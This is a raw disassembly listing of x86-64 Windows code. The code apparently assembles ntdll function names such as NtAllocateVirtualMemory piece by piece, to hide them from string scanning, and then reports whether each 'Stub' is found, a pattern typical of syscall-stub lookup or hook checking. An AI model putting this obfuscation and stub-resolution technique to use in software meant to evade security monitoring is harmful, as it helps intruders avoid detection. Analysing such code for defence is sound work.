je 0x406607
lea rsi, [0x00529414]
jmp 0x40660e
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x1b0f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x1b0f]
lea rax, [rbp + 0x1ae0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ae0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x00529454]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x005293fa]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x19e0]
lea rdx, [rbp + 0x1a00]
lea r8, [0x0052945a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x19c0]
lea rdx, [rbp + 0x19e0]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x19a0]
lea rdx, [rbp + 0x19c0]
lea r8, [0x00529438]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1980]
lea rdx, [rbp + 0x19a0]
lea r8, [0x0052943a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1960]
lea rdx, [rbp + 0x1980]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1940]
lea rdx, [rbp + 0x1960]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x0052943c]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x1900]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1960]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1980]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x19a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x19c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1b0f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x1b10]
mov rcx, qword [rbp + 0x2d28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x406996
lea rsi, [0x00529414]
jmp 0x40699d
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x1d9f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x1d9f]
lea rax, [rbp + 0x1d70]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x005293fa]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x00529442]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x00529444]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x00529410]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x00529438]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
lea r8, [0x0052943a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1b90]
lea rdx, [rbp + 0x1bb0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x0052943c]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x1b30]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1b90]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1d9f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x1da0]
mov rcx, qword [rbp + 0x2d20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x406da9
lea rsi, [0x00529414]
jmp 0x406db0
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x200f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x200f]
lea rax, [rbp + 0x1fe0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x0052945c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x00529436]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x00529440]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x00529438]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x0052943a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x0052943c]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x1dc0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x200f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x2010]
mov rcx, qword [rbp + 0x2d18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x407190
lea rsi, [0x00529414]
jmp 0x407197
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x227f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x227f]
lea rax, [rbp + 0x2250]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x00529448]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x00529436]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x00529440]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x00529438]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x0052943a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2070]
lea rdx, [rbp + 0x2090]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x0052943c]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x2030]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x227f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x2280]
mov rcx, qword [rbp + 0x2d10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x407577
lea rsi, [0x00529414]
jmp 0x40757e
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x24af]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x24af]
lea rax, [rbp + 0x2480]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x2460]
lea rdx, [rbp + 0x2480]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x0052945e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x00529412]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x0052943e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x00529440]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x2300]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x22a0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x24af]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x24b0]
mov rcx, qword [rbp + 0x2d08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x407906
lea rsi, [0x00529414]
jmp 0x40790d
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x267f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x267f]
lea rax, [rbp + 0x2650]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x0052944e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x0052945a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x00529448]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x24d0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x267f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x2680]
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x407c11
lea rsi, [0x00529414]
jmp 0x407c18
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x28ef]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x28ef]
lea rax, [rbp + 0x28c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x0052940e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x0052945a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x00529406]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
